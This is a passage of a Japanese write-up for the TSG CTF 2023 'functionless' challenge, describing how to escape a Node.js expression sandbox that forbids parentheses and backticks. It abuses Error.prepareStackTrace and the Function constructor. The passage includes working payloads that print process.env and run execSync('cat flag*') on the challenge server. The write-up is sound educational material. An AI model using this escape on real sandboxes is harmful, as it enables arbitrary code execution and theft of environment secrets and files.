では、これをどうやってカッコやバックティックを使わずに実現するかということが問題になる。"javascript calling function without parenthesis" のようなキーワードで検索すると、まずStack Overflowの非常に有用な回答が見つかる。ただし、上述のコードを実行するためには、以下の2つの条件を満たせるような呼び出し方でないと困る。

  1. Function に関数の本体となる文字列を渡す必要があるため、呼び出す対象の関数に引数を与えられること
  2. Function の生成した関数を呼び出す必要があるため、関数を呼び出した後に返り値を取得できること

1.は Symbol.hasInstance を使って 'Hello' instanceof { [Symbol.hasInstance]: console.log } のようにして実現できるのだけれども、残念ながら最後にその返り値を Boolean へ変換してしまうので、2.を満たさない。2.は toString やら valueOf やら方法は山ほどあるのだけれども、引数を呼び出したい関数に与えてくれず、1.を満たさない。ここで挙げられている方法ではいずれも1.と2.を両立し得ない。

なお、PortSwiggerにもカッコを使わずに関数を呼び出すテクニックがまとめられた記事が色々あるのだけれども、基本的に location やら onerror やらWebブラウザ向けのもので、今回は適用できないものばかりだ。

Function.callerarguments にアクセスすることで、サンドボックスの外側の Function にアクセスせずとも、つまり関数の返り値が得られない状態でも有用なオブジェクトを得られないかと一瞬考える。しかしながら、すぐにカッコも Function も使えないために、関数を定義しようにもアロー関数しか使えず、そのためにarguments などにはアクセスできないことに気づく。

SECCON CTF 2023 Qualsのsandboxカテゴリで出題されていたnode-ppjailやdeno-ppjailのように、Prototype Pollutionで使えるガジェットをこの問題でも活用できないかと考える。というのも、この問題では、たとえば Object.prototype.return に関数を入れておくことで、forループによってこの関数が呼び出されるという形で、直接カッコなどを使わずに呼び出すというものだったためだ。ただし、このガジェットはECMAScriptの仕様を読むと分かるように、return に入っている関数にコントロール可能な引数が渡されるわけではないので、そこまで有用ではない。

ECMAScriptの仕様とにらめっこしつつ、関数呼び出しに関連していそうな Call(Invoke(, GetMethod( で検索してみるも、今回の制約のもとで使えるような、上述の1.と2.の条件を満たすものを見つけることはできなかった*3

MDNで Symbol.hasInstance と似たシンボルがないかと探すと、Symbol.searchSymbol.replace といった、1.と2.の条件を満たせそうな面白いシンボルを見つける。けれども、呼び出される条件としてそれぞれ String に生えている searchreplace というメソッドを呼び出さねばならず、これも難しい。

自分が以前解いたJSのsandbox escape系の問題のwriteupを見つつ、CTFでの頻出テクニックとなりつつある Error.prepareStackTraceを思い出す。これはV8による独自の拡張で、エラーの発生時にスタックトレースを整形するためのものだ。このプロパティに関数を代入しておくことで、次のように生成されたエラーのオブジェクトと、そこに至るまでのスタックトレースがそれぞれ引数として渡される。

$ cat test.js
Error.prepareStackTrace = (err, stack) => {
    console.log('[err]', err.constructor);
    console.log('[stack]', stack);
    return 123;
};
console.log((new Error).stack);
$ node test.js
[err] [Function: Error] {
  stackTraceLimit: 10,
  prepareStackTrace: [Function (anonymous)]
}
[stack] [
  CallSite {},
  CallSite {},
  CallSite {},
  CallSite {},
  CallSite {},
  CallSite {},
  CallSite {}
]
123

上述の例が示すように、Error.prepareStackTrace に代入した関数の返り値は、生成されたエラーの stack プロパティに入る。Error.prepareStackTracethis.constructor.constructor を入れれば、生成したエラーの stack に、新たに作られた関数が入るのではないかと期待する。

が、そう上手くはいかない。Function の第2引数として、本来のスタックトレースの入っている配列が渡されているためだ。これが Object.<anonymous> (/tmp/tmpspace.NT7GnxvwDa/a.js:4:2),Module._compile (node:internal/modules/cjs/loader:1241:14),… というような文字列に変換され、関数の本体として扱われてしまう。このために、シンタックスエラーが発生する。

$ cat test.js
Error.prepareStackTrace = this.constructor.constructor;
class MyError extends Error {}
MyError.prototype.toString = _ => 'test';
(new MyError).stack();
$ node test.js
undefined:3
Object.<anonymous> (/tmp/tmpspace.NT7GnxvwDa/a.js:4:2),Module._compile (node:internal/modules/cjs/loader:1241:14),Module._extensions..js (node:internal/modules/cjs/loader:1295:10),Module.load (node:internal/modules/cjs/loader:1091:32),Module._load (node:internal/modules/cjs/loader:938:12),Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:83:12),node:internal/main/run_main_module:23:47
       ^

SyntaxError: Unexpected token '<'
(Use `node --trace-uncaught ...` to show where the exception was thrown)

Node.js v20.6.1

競技時間中はここで力尽きた。


競技終了後に解法を眺めていると、./VespiaryのArkさんが似たようなアプローチで解いていたことに気づいた。やっていることはほとんど同じだが、上記のものに加えて Error.stackTraceLimit = 0 と無理やりスタックトレースとして渡ってくる配列の要素をなくして、邪魔してこないようにしている。

やるだけ感が出てきた。試しに console.log(process.env) するようなコードを実行させてみると、たしかに環境変数を取得できている様子が確認できる。実は MyError.prototype.toString で仕込んだコードは引数の箇所に function anonymous(x=…) {} のようにして展開されるのだけれども、デフォルト引数では関数呼び出しも含めて使用できることを活用している。なるほどなあ。

$ docker run --rm -it functionless
Welcome! Please input an expression.
> Error.stackTraceLimit = 0;
0
> Error.prepareStackTrace = this.constructor.constructor;
[Function: Function]
> class MyError extends Error {}
undefined
> MyError.prototype.toString = _ => 'x = \x28_=>console.log\x28process.env\x29\x29\x28\x29';
[Function (anonymous)]
> [{toString: [new MyError][0].stack}][0] + '';
{
  NODE_VERSION: '20.9.0',
  HOSTNAME: '72c2e81be4e3',
  YARN_VERSION: '1.22.19',
  HOME: '/home/node',
  TERM: 'xterm',
  PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
  PWD: '/app'
}
undefined

実行するJSコードを process.mainModule.require('child_process').execSync('cat flag*') に変えるとフラグが得られた。

$ nc 34.84.217.62 30002
Welcome! Please input an expression.
> Error.stackTraceLimit = 0;
0
> Error.prepareStackTrace = this.constructor.constructor;
[Function: Function]
> class MyError extends Error {}
undefined
> MyError.prototype.toString = _ => "x = \x28_ => console.log\x28process.mainModule.require\x28'child_process'\x29.execSync\x28'cat flag*'\x29+''\x29\x29\x28\x29";
[Function (anonymous)]
> [{toString: [new MyError][0].stack}][0] + '';
TSGCTF{i_like_functional_programming_how_about_you}

undefined
TSGCTF{i_like_functional_programming_how_about_you}

*1:URLやらプロパティ名やらを直接入れておけば、こんな面倒な方法で文字列を組み立てなくともよかったと後から思う。a要素のしかもhref属性を使ったためにURLスキームが邪魔になり、そのため直接href属性の値を使うことができず、このように解いていた。それ以外の適当な属性を使えばよかった

*2:これもDOM Clobberingで作れたなと後から思った

*3:いっぱいあるので、私が見逃しているだけかもしれない